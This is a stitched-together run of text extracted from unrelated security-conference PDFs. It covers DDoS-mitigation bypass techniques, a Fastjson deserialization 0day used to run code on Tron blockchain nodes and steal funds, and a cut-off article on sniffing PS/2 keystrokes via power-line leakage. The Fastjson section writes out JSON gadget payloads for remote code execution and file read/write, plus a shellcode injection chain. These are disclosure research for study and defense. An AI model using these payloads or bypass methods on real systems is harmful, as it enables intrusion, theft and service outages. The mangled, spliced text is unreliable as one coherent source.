http://sit4.me/tracker-apps 152 153 Thanks to… Alex, Daniel, Julien, Julius, Michael, Philipp, Steven, Kevin, Sebald Stephan Huber Email: [email protected] Findings: http://sit4.me/tracker-apps Siegfried Rasthofer Email: [email protected] Web: www.rasthofer.info Twitter: @teamsik Web: www.team-sik.org 154
pdf
DDoS Protecion Total AnnihilationD DDoS Mitigation Lab A DDoS Mitigation Lab Independent academic R&D division of Nexusguard building next generation DDoS mitigation knowledge and collaborate with defense community. Industry body formed to foster synergy among stakeholders to promote advancement in DDoS defense knowledge. DDoS Mitigation Lab DDoS Mitigation Lab  DDoS Relevance, Attack Categories, Detection & Mitigation  Source Host Verification: Authentication Methods  TCP SYN Auth  HTTP Redirect Auth  HTTP Cookie Auth  JavaScript Auth  CAPTCHA Auth  PoC Tool  TCP Traffic Model  HTTP Traffic Model DDoS Mitigation Lab Source: NTT Communications, “Successfully Combating DDoS Attacks”, Aug 2012 DDoS Mitigation Lab Volumetric Semantic Blended DDoS Mitigation Lab Complexity Simple Sophisticated Volume xxx Gbps+ xxx Mbps+ DDoS Mitigation Lab Traffic Policing Proactive Resource Release Black- / Whitelisting xxx Gbps+ xxx Mbps+ Complexity Simple Sophisticated Volume DDoS Mitigation Lab Rate Measurement (SNMP) Baselining (Netflow) Protocol Sanity (PCAP) Application (SYSLOG) Protocol Behavior (PCAP) Big Data Analysis Complexity Simple Sophisticated Volume xxx Gbps+ xxx Mbps+ DDoS Mitigation Lab c DDoS Mitigation Lab  Traffic Pattern simulation, e.g. Like traffic behind Proxy  HTTP Header Simulation Simulate Normal traffic Pattern and Behavior!!!!! DDoS Mitigation Lab Conn B and User-agent B Attack Traffic Proxy DDoS Mitigation Lab  HTTP header will change during the attack  For example, first HTTP request for HTTP Header “Accept” First Request Second Request Accept: */* Accept: image/gif, image/jpeg, imag,….. DDoS Mitigation Lab  TCP option against Detection  Empower attack Power DDoS Mitigation Lab SYN ACK SYN ACK Push ACK (HTTP Request e.g. GET, POST) ACK Push ACK Connection Hold Time Full Control every TCP State!!!! DDoS Mitigation Lab SYN ACK SYN ACK Push ACK (HTTP GET) ACK Fin ACK Conns closed… OLD-FASHIONED GET Flood High CPU and constant no. of conns But Still ALIVE!!! DDoS Mitigation Lab SYN ACK SYN ACK Push ACK (HTTP Request) ACK Push ACK (HTTP Request) Kill ‘EM ALL!!!!!! ACK … High Memory, High CPU and no. of conns increasing ------------------------- HTTP 503 Service unavailable DDoS Mitigation Lab  TCP SYN Auth  HTTP Redirect Auth  HTTP Cookie Auth  JavaScript Auth  CAPTCHA Auth DDoS Mitigation Lab SYN ACK SYN ACK RST SYN SYN ACK ACK  DDoS Mitigation Lab SYN ACK RST SYN SYN SYN ACK ACK  DDoS Mitigation Lab RST (May be from Real host) Spoofed Src IP SYN SYN ACK TCP REST and TCP Out of Seq are SAME!!!!!! DDoS Mitigation Lab Handling a Real User access: TCP REST TCP out of Seq TCP Flag Total Length TCP Flag Total Length SYN 60 SYN 60 SYN ACK 40 SYN ACK 40 ACK 40 RST 40 RST 40 Total 180 Bytes Total 140 Bytes P.S. TCP SYN Packet size = Header length + Total Length DDoS Mitigation Lab SYN ACK SYN RST Same Spoofed a real Host IP as Src IP SYN  33% Attack traffic Bypassed DDoS Mitigation Lab  The traditional SYN Flood is 40 bytes, missing TCP Option  How to simulate a real SYN traffic:  In IP layer: Randomize TTL  In TCP layer: Randomize Window size, Correct Option added, e.g. Maximum Segment Size, etc. 48-60 bytes TCP SYN Flood attack is nightmare DDoS Mitigation Lab GET /index.html HTTP 302 redir to /foo/index.html GET /foo/index.html HTTP 302 redir to /index.html GET /index.html  DDoS Mitigation Lab  HTTP / 1.1 302 Found\r\n  Location: http: a.c.com\r\n  Loop the script, until “HTTP / 1.1 200 ok” DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html HTTP 302 redir to /index.html GET /index.html GET /index.html  DDoS Mitigation Lab  Set-Cookie: AuthCode=d8e; expires=Mon, 23-Dec-2019 23:50:00 GMT; ……., etc  If Date and time of Expire is between hour or minutes, it is the our REAUTH threshold!!!!!!!!  If you saw this in third HTTP redirect request Set-Cookie:AuthCode=deleted;…….bad luck DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html [X-Header: foo=bar] GET /index.html [X-Header: foo=bar] GET /index.html [X-Header: foo=bar] HTTP 302 redir to /index.html [X-Header: foo=bar]  GET /index.html [X-Header: foo=bar] DDoS Mitigation Lab  API, AJAX or XHR2 is used to deploy header token  Not all browser compatibility those Techniques  Existing Mitigation devices can not fully using those Techniques  Simulation the Traffic Flow BYPASS it!!!! DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html GET /index.html POST /auth.php ans=16 JS 7+nine=?  DDoS Mitigation Lab  JavaScript is client-side-program  Find the path “http://a.b.com/auth.js”, download and analyze it.  Challenge to embedded JavaScript in Botnet, guys using:  Simulate the traffic flow  Client Deployment Model  Server Deployment Model  Kill ‘Em All is below 1M bytes!!!!!! DDoS Mitigation Lab Victim Bot with JS Engine Bot with JS Engine Bot with JS Engine ATTACK!!! Cmd: Attack!!! C&C Server …….. DDoS Mitigation Lab Victim Tell me the ANS, plz~ Tell me the ANS, plz~ Tell me the ASN, plz~ ATTACK!!! Cmd: Attack!!! C&C Server …….. Server Resolve auth.js e.g. Application Bundle DDoS Mitigation Lab GET /index.html HTTP 302 redir to /index.html GET /index.html POST /auth.php  DDoS Mitigation Lab  JavaScript is client-side-program  Find the path “http://a.b.com/auth.bmp”, download and analyze it.  Challenge to embedded CAPTCHA Engine in Botnet, guys using:  Simulate the traffic flow  Client Deployment Model  Server Deployment Model DEFCON have FXXKING many CATPCHA engine!!!! DDoS Mitigation Lab DDoS Mitigation Lab  3 tries per authentication attempt (in practice more likely to success)  True TCP/IP behavior thru use of OS TCP/IP stack  Auth cookies persist during subsequent dialogues  JavaScript execution using embedded JS engine (lack of complete DOM an obstacle to full emulation) DDoS Mitigation Lab c DDoS Mitigation Lab DDoS Mitigation Lab 1. Converted to black-and-white for max contrast 2. 3x3 median filter applied for denoising 3. Word segmentation 4. Boundary recognition 5. Pixel difference computed against character map DDoS Mitigation Lab c DDoS Mitigation Lab Number of Connections Connection Hold Time Before 1st Request Connection Idle Timeout After Last Request Connections Interval Connections Interval TCP Connection TCP Connection TCP Connection DDoS Mitigation Lab c DDoS Mitigation Lab Number of Requests per Connection Requests Interval Requests Interval Requests Interval TCP Connection HTTP Connection HTTP Connection HTTP Connection HTTP Connection DDoS Mitigation Lab DDoS Mitigation Lab  True TCP/IP behavior (RST, resend, etc.) thru use of true OS TCP/IP stack  Believable HTTP headers (User-Agent strings, etc.)  Embedded JavaScript engine  CAPTCHA solving capability  Randomized payload  Tunable post-authentication traffic model DDoS Mitigation Lab  44 Page views 44 regular traffic DDoS Mitigation Lab  Against Devices  Against Services Measure Attack Traffic Measure Attack Traffic DDoS Mitigation Lab Auth Bypass Post-Auth Testing results under specific conditions, valid as of Jul 13, 2013 Proactive Resource Release DDoS Mitigation Lab Auth Bypass Post-Auth Testing results under specific conditions, valid as of Jul 13, 2013 Proactive Resource Release [email protected] [email protected] http://www.bloodspear.org
pdf
How I use a JSON Deserialization 0day to Steal Your Money On The Blockchain Ronny Xing & Zekai Wu • Tencent Security Xuanwu Lab • Applied and real world security research • Ronny Xing( @RonnyX2017) • Zekai Wu( @hellowuzekai) > Whoami 1. What is Fastjson 2. Fastjson Deserialize and Vulnerability 3. Find Gadgets to RCE and more 4. RCE on the Tron HTTP nodes 5. Post Penetration Exploit to Steal your Money 6. Conclusion > Agenda 1. What is Fastjson 2. Fastjson Deserialize and Vulnerability 3. Find Gadgets to RCE and more 4. RCE on the Tron HTTP nodes 5. Post Penetration Exploit to Steal your Money 6. Conclusion > Agenda • JSON parser with 23’000+ stars on GitHub. • Widely used java basic component, known for its fast parsing speed • Two major security fixes about deserialization vulnerability in 2017 and 2018 What is Fastjson 3,600 Maven Artifacts using Fastjson 1. What is Fastjson 2. Fastjson Deserialize and Vulnerability 3. Find Gadgets to RCE and more 4. RCE on the Tron HTTP nodes 5. Post Penetration Exploit to Steal your Money 6. Conclusion > Agenda Deserialize ParserConfig.getGlobalInstance() .setAutoTypeSupport(true); User user = (User)fastjson.JSON.parse("{...}"); System.out.print(user.getName()); String name = "foo"; User u1 = new User(); u1.setName(name); fastjson.JSON.toJSONString (u1,SerializerFeature.WriteClassName); {"@type":"User","name":"foo"} JavaBean public class User { private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } } JSON: AutoType Default False JSONException: autoType is not support Deserialize Token Key "@type" checkAutoType(String typeName, Class<?> expectClass, int features) ObjectDeserializer getDeserializer(Class<?> clazz, Type type) select or create Deserializer for target type check pass Object createInstance( args from json ) JSON.parse(" {"@type": "User"} "); scan enter deserialization Defense checkAutotype() checkAutoType(String typeName, Class<?> expectClass, int features) How to deserialize arbitrary classes? Bypass Class “typeName” is Assignable From expectClass {"@type": "User"} How to specify expectClass • Explicit inheritance • Implicit inheritance Defense checkAutotype() {"@type":"I.am.ParentClass", "@type": "I.am.SubClass", "abc":"foo”, …} expectClass typeName(Subclass) Args of Subclass public class User { private Foo id; public void setId(Foo id) { this.id = id; } } public class FooImpl implements Foo{ public String fooId; } {"@type":"User", "id":{"@type":"FooImpl","fooId":"abc"}} Defense checkAutotype() ParserConfig#checkAutoType(String typeName, Class<?> expectClass, int features) 1. In the whitelist 2. In the deserializer cache (TypeUtils.mappings) 3. Class has @annotation fastjson.annotation.JSONType Config autoTypeSupport is false (default) expectClass != null, Object, Serializable, Closeable, ... & class “typeName” is assignable from expectClass Return & Cache Throw error 1. In the blacklist 2. Inherit from RowSet,DataSource, ClassLoader N N Y Y Y N Y N Pass Autotype Check: • Enable autotype support • Classes with annotation @JSONType • Classes in the whitelist (java AWT & spring framework) • Classes in the deserializer cache (TypeUtils.mappings) • Specify expected class (expectClass) Defense checkAutotype() • Deserializer cache (TypeUtils.mappings) Initialized in fastjson.util.TypeUtils#addBaseClassMappings() For preloading the Deserializer of basic types Deserializer cache private static void addBaseClassMappings(){ mappings.put("byte", byte.class); mappings.put("short", short.class); mappings.put("int", int.class); ... mappings.put("[Z", boolean[].class); Class<?>[] classes = new Class[]{ Object.class, java.lang.Cloneable.class, ... } ... mappings.put(clazz.getName(), clazz); } • But the types in cache have their own Deserializer • Except … Deserializer cache java.lang.Exception.class, java.lang.RuntimeException.class, java.lang.IllegalAccessError.class, java.lang.IllegalAccessException.class, ... java.util.HashMap.class, java.util.Hashtable.class, java.util.TreeMap.class, java.util.IdentityHashMap.class, ... ThrowableDeserializer …… NumberDeserializer DateCodec FloatCodec …… MapDeserializer Derivation – from which class checkAutoType(String typeName, Class<?> expectClass, int features) Check pass ObjectDeserializer getDeserializer(Class<?> clazz, Type type) Default Deserializer fastjson.parser.deserializer.JavaBeanDeserializer createJavaBeanDeserializer createInstance 1.java.lang.AutoCloseable 2.java.util.BitSet class inherit from them • Which classes we can inherit: • java.lang.AutoCloseable • java.util.BitSet • All the classes added to the cache during the deserialization •Java.lang.AutoCloseable: • Since jdk 1.7 • Super interface of xStream / xChannel / xConnection / …… Derivation – from which class Bypass checkAutotype() checkAutoType(String typeName, Class<?> expectClass, int features) ObjectDeserializer getDeserializer(Class<?> clazz, Type type) ObjectDeserializer createJavaBeanDeserializer(clazz, type) Select by target type deserializer.MapDeserializer deserializer.ThrowableDeserializer deserializer.EnumDeserializer serializer.DateCodec serializer.MiscCodec …… Default type Check pass Object createInstance( args from json ) {"@type":”java.lang.AutoCloseable", "@type": ”java.io.Reader"} 1. What is Fastjson 2. Fastjson Deserialize and Vulnerability 3. Find Gadgets to RCE and more 4. RCE on the Tron HTTP nodes 5. Post Penetration Exploit to Steal your Money 6. Conclusion > Agenda Find Gadgets ObjectDeserializer createJavaBeanDeserializer(clazz, type) Which classes can be derived? Which methods can be called? (magic methods) createJavaBeanDeserializer 1. Select constructor 1. BuilderClass 2. Constructor without parameters (Default Constructor) 3. The Constructor scanned by reflection : • First • With maximum number of parameters • Contains symbol fastjson.util.JavaBeanInfo#build(Class<?> clazz, Type type, …) getDefaultConstructor / getCreatorConstructor Random Order createJavaBeanDeserializer 2. Setter 3. Getter The automatic call of getter during deserialization depends on the return type public void setXxx(Object arg1){} public <?> getXxx(){} Collection Map AtomicLong AtomicInteger AtomicBoolean Classes added to the cache(TypeUtils.mappings) during the deserialization • Deserializing class itself • The types of the selected constructor parameters • The types of the Setter() parameters • The return types of the Getter() Derivation – which classes Expand magic methods space • JSONObject.toString() à JSON. toJSONString() à JSONSerializer • Proactively trigger this conversion process: {"@type": "java.util.Currency","val":{"currency":{...ur payload...}}} {"@type": "java.util.concurrent.ConcurrentSkipListMap","abc":{...ur payload...}} Call all getter() if (clazz == Currency.class) { String currency = jsonObject.getString("currency"); ... } fastjson/serializer/MiscCodec.java:278 • Fastjson feature "JSONPath" • You can use it as an Object Query Language(OQL) to query JSON object • Token Key " $ref " Expand magic methods space { "userObj": {"@type":"User", "name":"foo"}, "userName": { ”$ref": "$.userObj.name" } } public String getName() Call getter So, by " $ref ", we can 1. call arbitrary getters 2. cross-reference and access the properties of instances during JSON parsing Expand magic methods space • Gadgets Condition : • Derived from java.lang.AutoCloseable • Have default constructor or constructor with symbol • NOT in the blacklist • Gadgets Demand • Can cause RCE, arbitrary file read and write, SSRF … • Dependency classes of gadgets are in native JDK or widely used third-party libraries Find Gadgets • Reflection for checking derivation conditions • Visualization of derivation relations for reversing the chain from sink • Tool for searching derivation : https://gist.github.com/5z1punch/6bb00644ce6bea327f42cf72bc620b80 • Search gadgets classes in the JDK and the specified set of jars • Crawling common third party libraries from maven Find Gadgets Automatically Search Autotype Chain Gadgets Inherit from java.lang.AutoCloseable 1. Mysql connector RCE 2. Apache commons io read and write files 3. Jetty SSRF 4. Apache xbean-reflect RCE 5. …… Gadgets • Mysql connector 5.1.x • Mysql connector 6.0.2 or 6.0.3 • Mysql connector 6.x or < 8.0.20 {"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConn ectTo":"mysql.host","portToConnectTo":3306,"info":{"user":”user","password":”pass","sta tementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDese rialize":"true","NUM_HOSTS": "1"},"databaseToConnectTo":”dbname","url":""} {"@type": "java.lang.AutoCloseable","@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection","proxy":{"connectionString":{"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"}}} {"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnecti on","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{ "@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters": [{"host":"mysql.host"}], "slaves":[], "properties":{"host":"mysql.host","user":"user","dbname":"dbname","password":"pass","quer yInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserial ize":"true"}}}} 1. What is Fastjson 2. Fastjson Deserialize and Vulnerability 3. Find Gadgets to RCE and more 4. RCE on the Tron HTTP nodes 5. Post Penetration Exploit to Steal your Money 6. Conclusion > Agenda • TRON • Public Blockchian • Crypto-Currency, known as TRX, native to the system • Market value: around US$5 billion. • Currency holders: 14.6 million. • 1,400 dApps on the TRON network, with a daily transaction volume of over $12 million(2020/12/17). • JAVA-TRON • Public blockchain protocol launched by TRON. • HTTP services for interacting with the blockchain • Open source java application with 2.7k stars on github. • https://github.com/tronprotocol/java-tron • Using fastjson JAVA-TRON Gadgets on JAVA-TRON Mysql Connector RCE Gadgets Commons IO read and write file Problems for exploit: 1. What to Write 2. Where to Write 3. How to Read 4. Without preconditions No C/S database connector Spring boot fat jar Run with none root Take more nodes,Take more money Web Shell No direct resp by HTTP But broadcast on P2P network • Override system libs • Write JVM class path, such as charset.jar • JNI in jar : • The binary library files need to be released to the file system before it can be loaded • Always in java.io.tmpdir •System.load(libfoo) à dlopen(libfoo.so) Write File • Root permission • Unknown path and version Write File • Leveldb and leveldbjni: • A fast key-value storage library • Used by Bitcoin, therefore, is inherited by many public chain • Storage blockchain metadata, frequently polling for reading and writing • Need efficiency, so JNI https://github.com/fusesource/leveldbjni • org.fusesource.hawtjni.runtime.Library#exractAndLoad customPath = System.getProperty("java.io.tmpdir"); File target = extract(errors, resource, prefix, suffix, file(customPath)); Override shared lib at Runtime Process1 dlopen(libfoo.so) Process1 Virtual memory libfoo.so mmap Physical Memory Page cache libfoo.so Disk libfoo.so MMU mapping Override shared lib at Runtime Process1 Virtual memory libfoo.so Process1 dlopen(libfoo.so) mmap Physical Memory Page cache libfoo.so Disk libfoo.so MMU mapping Meanwhile, Process2 open & write libfoo.so (or by direct IO) Process2 Write Maj Fault Direct IO Write sync • Get the random file name released by JNI jar • No direct resp by HTTP but broadcast on P2P network • Write binary bytes instead of string with encoding • Input json string • Output stream and file writer Read & Write JNI .so Read & Write – commons-io 2.x java.lang.AutoCloseable org.apache.commons.io.input.BOMInputStream(InputStream delegate, boolean include, ByteOrderMark... boms ) BOMInputStream#getBOM() Field delegate.read() org.apache.commons.io.input.TeeInputStream#read() @Override public int read() throws IOException { int ch = input.read(); if (ch != -1) { branch.write(ch); } return ch; } WRITE boolean matches(ByteOrderMark bom) Boms cmp with input.read() Return bom Return null SAME ONE? READ Y N Blind Read Write – commons-io 2.x java.lang.AutoCloseable org.apache.commons.io.input.BOMInputStream(InputStream delegate, boolean include, ByteOrderMark... boms ) BOMInputStream#getBOM() Field delegate.read() org.apache.commons.io.input.TeeInputStream(InputStream input, OutputStream branch, boolean closeBranch) @Override public int read() throws IOException { int ch = input.read(); if (ch != -1) { branch.write(ch); } return ch; } WRITE Write String • Field delegate à org.apache.commons.io.input.TeeInputStream • Field input à org.apache.commons.io.input.CharSequenceInputStream • Field cs à input string > default bufsize 8192, auto flush • Field branch à org.apache.commons.io.output.WriterOutputStream • Field writer à org.apache.commons.io.output.FileWriterWithEncoding • Field file à output file path Write Binary • Field delegate à org.apache.commons.io.input.TeeInputStream • Field input à org.apache.commons.codec.binary.Base64InputStream • Field in à input base64 str: commons.io.input.CharSequenceInputStream • Field branch à org.eclipse.core.internal.localstore.SafeFileOutputStream • Field targetPath à output file path • commons-codec • AspectJ • AOP for database backup Read – commons-io 2.x java.lang.AutoCloseable org.apache.commons.io.input.BOMInputStream(InputStream delegate, boolean include, ByteOrderMark... boms) BOMInputStream#getBOM() READ Return bom Return null SAME ONE? Y N Blind Read boolean matches(ByteOrderMark bom) Compare Array Field boms with Field delegate.read() Read Directory { "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file://tmp/" } }, "boms": [ {bom1 bytes}, {bom2 bytes}, ... ] }, "address” : {"$ref":"$.abc.BOM"} } Parameter url supports file:// scheme for a folder and listing directory Convert Reader to InputStream Multiple bytes blocks to be compared with Reader output. Use Binary Search abc.getBOM() API /wallet/validateaddress is null bad format No resp Validate failed message Pointer Hijacking org.tron.common.overlay.discover.node.NodeManager#channelActivated() nodeManagerTasksTimer.scheduleAtFixedRate(new TimerTask() { @Override public void run() { dbWrite(); } }, DB_COMMIT_RATE, DB_COMMIT_RATE); libleveldbjni.so # offset 0x197b0 Java_org_fusesource_leveldbjni_internal_NativeBuffer_00024NativeBufferJNI_malloc public static final native long org.fusesource.leveldbjni.internal.NativeBuffer $NativeBufferJNI#malloc(long size) Inject shellcode Exploit Inject shellcode Extract Scheduled call Read random path Pointer hijacking Recover Post-penetration Part II Zekai Wu 1. What is Fastjson 2. Fastjson Deserialize and Vulnerability 3. Find Gadgets to RCE and more 4. RCE on the Tron nodes 5. Post Penetration Exploit to Steal your Money 6. Conclusion > Agenda How to Steal Your Money After RCE l A 51% attack is an attack on a blockchain by a group of miners who control more than 50% of the network's mining hash rate. l Attackers with majority control of the network can interrupt the recording of new blocks by preventing other miners from completing blocks. 51% Attack l TRON uses the super-representative mechanism. l The top 27 candidates with the most votes are the super representatives. l Super representatives generate blocks, package transactions and get block rewards. Super Representatives Tron Nodes l As shown by tronscan.org , Tron has 1332 nodes in total. l Only a quarter of the nodes can be accessed through the HTTP service. l There is no guarantee that more than half of the super representatives have enabled HTTP services. Limits l The TRON HTTP node has a variety of API calls to allow users to interact with the blockchain. l Some of the API calls serve as stand-alone requests to get individual pieces of information. l There are also many API calls which modify the user TRX wallet, resulting in a need to sign and broadcast the transaction. Back to Tron HTTP Node l Make a Transaction /wallet/createtransaction return raw transaction in json format. l Sign the Transaction /wallet/gettransactionsign use the private key to sign the raw transaction l Broadcast the Transaction /wallet/broadcasttransaction broadcast signed transaction to blockchain Transaction Process Forge `raw transaction` Steal `private key` DOS l TronLink is firstly launched at TRON’s official website and backed by TRON foundation. l TronLink is the TRON wallet with the most users. l TronLink has three versions (Chrome Wallet Extension/iOS/Android). TronLink Wallet l iOS/Android Make a Transaction Sign the Transaction Broadcast Transaction l Chrome Wallet Extension Make a Transaction Sign the Transaction Broadcast Transaction TronLink Wallet Attack Chrome Wallet Extension Send Bob 100 trx Send Evil 100 trx Sign the fake transaction Broadcast signed transaction Why Chrome Wallet Extension has different behavior from iOS/Android l TronWeb aims to deliver a unified, seamless development experience influenced by Ethereum's Web3 implementation. l TronWeb Make a Transaction tronWeb.transactionBuilder.sendTrx Sign the Transaction tronWeb.trx.sign Broadcast Transaction tronWeb.trx.sendRawTransaction TronWeb Library TronWeb Library tronWeb.transactionBuilder.sendTrx sendTrx(to = false, amount = 0, from = this.tronWeb.defaultAddress.hex, options, callback = false) { // accept amounts passed as strings amount = parseInt(amount) const data = { to_address: toHex(to), owner_address: toHex(from), amount: amount, }; this.tronWeb.fullNode.request(‘wallet/createtransaction’, data, 'post').then(transaction => resultManager(transaction, callback)).catch(err => callback(err)); } l TronLink Chrome Wallet Extension l Multicurrency wallet l Dapps TronWeb Library l Multicurrency wallet is a wallet that supports multiple cryptocurrency transactions. l imToken is a multi-currency wallet that supports Tron. l imToken has 12 million users. l imToken uses the TronWeb library. Multicurrency Wallet Multicurrency Wallet l A decentralized application (Dapp) is a computer application that runs on a distributed computing system like blockchain. l 1,400 Dapps have been created on the TRON network, with a daily transaction volume of over $12 million(2020/12/17). l For a developer, Dapp is a combination of front-end and smart contracts. l Tron provides TronWeb for front-end developer. Dapp Dapp l TronLink Chrome Wallet Extension l 300,000 users. l Multicurrency wallet l imToken has 12 million users. l Dapps l 1,400 Dapps have been created on the TRON network, with a daily transaction volume of over $12 million(2020/12/17). Influence 1. What is Fastjson 2. Fastjson Deserialize and Vulnerability 3. Find Gadgets to RCE and more 4. RCE on the Tron nodes 5. Post Penetration Exploit to Steal your Money 6. Conclusion > Agenda l Blockchain is not the bulletproof to security vulnerability l Further research for blockchain security l Traditional web vulnerabilities l Cloud and Edge computing l Post Penetration Exploit Conclusion l Fastjson vulnerability timeline l 2020-03 Vulnerability was discovered. l 2020-05-15 Vulnerability reported to vendor. l 2020-06-01 Vulnerability was fixed and fastjson version 1.2.69 was updated. l Java-tron vulnerability timeline l 2020-12 Vulnerability was discovered. l 2021-01-22 Vulnerability reported to vendor. l 2021-05-21 Vulnerability was fixed and java-tron version 4.2.1 was updated. TimeLine l Kai Song (@ExpSky) l Junyu Zhou (@md5_salt) l Huiming Liu (@liuhm09) l Yang Yu (@tombkeeper) Special Thanks Thanks. Tencent Security Xuanwu Lab @XuanwuLab xlab.tencent.com
pdf
|=-----------------------------------------------------------------------=| |=----------------------=[ Sniffing Keystrokes With ]=------------------=| |=----------------------=[ Lasers and Voltmeters ]=------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ By Andrea "lcars" Barisani ]=--------------=| |=-----------------=[ <lcars_at_inversepath_dot_com> ]=--------------=| |=-----------------=[ ]=--------------=| |=-----------------=[ Daniele "danbia" Bianco ]=--------------=| |=-----------------=[ <danbia_at_inversepath_dot_com> ]=--------------=| |=-----------------------------------------------------------------------=| --[ Contents 0. DISCLAIMER 1. Introduction 2. Motivation 3. First Attack: Theory 4. The PS/2 Signal 5. Implementation 6. Data Analysis 7. Results 8. Attack Scenario and Workarounds 9. Second Attack: Theory 10. Implementation 11. Data Analysis 12. Results 13. Attack Scenario and Workarounds I. FAQ II. References III. Links --[ 0. DISCLAIMER All the equipment and/or circuits and/or schematics provided in the presentation must be treated as examples, use the presented information at your own risk, remember safety first. --[ 1. Introduction The exploitation of Electromagnetic Emanations and similar Side Channels has always been one of the most interesting and "exotic" areas of attack in the security field. In the late 60's and early 70's the term TEMPEST[1] was coined to title an NSA operation which aimed to secure electronic equipment from leakage of compromising emanations. Well known TEMPEST research describes remote eavesdropping of CRT displays and most recently LCD displays, as well as optical emanations from appliances LED indicators. Our research details two attacks, one against wired PS/2 keyboards, the other against laptop keyboards using respectively power line leakage and optical sampling of mechanical energy. We describe how using relatively cheap homemade hardware we can implement basic but powerful techniques for remotely eavesdropping keystrokes. --[ 2. Motivation The two presented attacks partially builds upon existing concepts and techniques, but while some of the ideas might have been publicly hinted, no clear analysis and demonstration has ever been presented as far as we know. Our goal is to show that information leaks in the most unexpected ways and can be indeed retrieved. If our small research was able to accomplish acceptable results in a brief development time (approximately a week of work) and with cheap hardware, consider what a dedicated team or government agency can accomplish with more expensive equipment and effort. We think it is important to raise the awareness about these unconventional attacks and we hope to see more work on this topic in the future[2]. Last but not least.....hardware hacking is cool and everyone loves laser beams (this will make sense). --[ 3. First Attack - Theory The PS/2 cable of wired keyboards and mice carries the following wires: ---- - Pin 1: Data / 6||5 \ - Pin 3: Ground | 4 || 3 | - Pin 4: +5 V DC \ 2 1 / - Pin 5: Clock ---- - Pin 2/6: Unused As the wires are very close and not shielded against each other it is theorized that a fortuitous leakage of information goes from the data wire to the ground wire and/or cable shielding due to electromagnetic coupling. The ground wire as well as the cable shielding are routed to the main power adapter/cable ground which is then connected to the power socket and finally the electric grid. This eventually leads to keystrokes leakage to the electric grid which can then be detected on the power plug itself, including nearby ones sharing the same electric line. There might be other factors responsible in minor part for the signal interference like power fluctuations of the keyboard microcontroller, they are difficult to pinpoint but if present they can only augment the information leakage. The clock frequency of the PS/2 signal is lower than any other component or signal emanated from the PC (everything else is typically above the MHz), this allows noise filtering and keystrokes signal extraction. There has been some documentation suggesting the possibility of this attack in literature, though no extensive research is available. Recently a separate independent research which was developed simultaneously to our effort also suggests that "...the shared ground may acts as an antenna..." [3]. --[ 4. First Attack - The PS/2 Signal The PS/2 signal represents an appealing and relatively favourable target for eavesdropping. The main advantage is its serial nature as data is transmitted one bit at a time, each keystroke is sent in a frame consisting of 11-12 bits (host-to-device). As mentioned the clock frequency falls in the VLF (Very Low Frequency) category pulsing at 10 - 16.7 kHz range. This is an example of what a PS/2 frame looks like: ------------- ------------- -------------- ------------ ----------- |Start (1 bit)|Data (8 bits)|Parity (1 bit)|Stop (1 bit)|Ack (1 bit)| ------------- ------------- -------------- ------------ ----------- The acknowledge bit is used for host-to-device communication only. As an example the letter 'b' (scan code 32) is the following frame: --- ---------- --- --- | 0 | 01001100 | 0 | 1 | --- ---------- --- --- --[ 5. First Attack - Implementation In order to implement the attack the ground from a nearby power socket is routed to the ADC using a modified power cable (remember the disclaimer) which separates the ground wire for probing and includes a resistor between the two probe hooks. The current dispersed on the ground is measured using the voltage potential difference between the two ends of the resistor. With "nearby" power socket we identify anything connected to the same electric system within a reasonable range, distances are discussed in the results paragraph. In order to accomplish the measurement a "reference" ground is needed, as any ADC would need a proper ground for its own operation but at the same time the electrical grid ground is the target of our measurements. Because of this the main ground cannot be used as the equipment ground, as that would lead to null potential difference at the two ends of the probe. A "reference" ground is any piece of metal with a direct physical connection to the Earth, a sink or toilet pipe is perfect for this purpose (while albeit not very classy) and easily reachable (especially if you are performing the attack from an hotel room). Diagram: power socket power socket --------- : -------------- : ------------------------------ . . . | ^ ^ | | | ----------------- ----- | * -------------------> | Vin | --- ---- | | | - | PC | | | | gnd ---- - | | / / ps/2 | | | Analog | ps/2 / / | | ~ 150 Ohm | 2 | / mouse | | probe resistor | Digital | keyboard - | | | | | * -------------------> | Vref | | | | ----- ----------------- --- "reference" gnd - --[ 6. First Attack - Data Analysis The sniffed signal using the circuit described in the previous diagram provides a consistent amount of data which requires analysis for extracting the desired signal. In order to isolate the desired frequency range we use a simple band pass filter selecting frequencies between 1 - 20 kHz. A Finite Impulse Response (FIR) filter is just one of the many possible filtering techniques, while it's not indicated as the most efficient method it provided good results in our tests. The following is an example of FIR filter implementation using the Open Source software Scilab: [h,filter_mag,fr] = wfir('bp',order,[.001,.02],'hm',[0,0]); In this example the window ([.001,.02]) is the frequency range (1 - 20 kHz) expressed in normalized hertz, considering a frequency sampling of 1 Msps. The 'hm' parameters means that we are using an hamming windowing technique which reduces anti-aliasing effects in the two edges of the window. --[ 7. First Attack - Results The test runs have been performed in a nuclear physics laboratory running particle detectors, complex multi-purpose digitally controlled power adapters and lots of additional equipment. The electric grid topology of the laboratory is way more complex than the average and the electrical ground was extremely noisy, substantially more than a normal scenario. The bottom line is that the test performed in the laboratory represent a worst case scenario for this type of measurement, which along with acceptable results emphasizes the feasibility of the attack on normal conditions. We measured the potential difference on the ground write routed from power plugs at 1, 5, 10, 15 meters from the actual target, due to the complex topology of the laboratory electrical system several junction boxes where present between the target computer plug and the sniffing device. In all cases using a digital oscilloscope as an ADC, by sampling and storing the potential difference data, it is possible to obtain data about the ground wire "activity". While the unfiltered signal apparently doesn't feature any useful information it was possible to successfully filter out the individual keystrokes from the original ground noise using the FIR filter. The PS/2 signal square wave is preserved 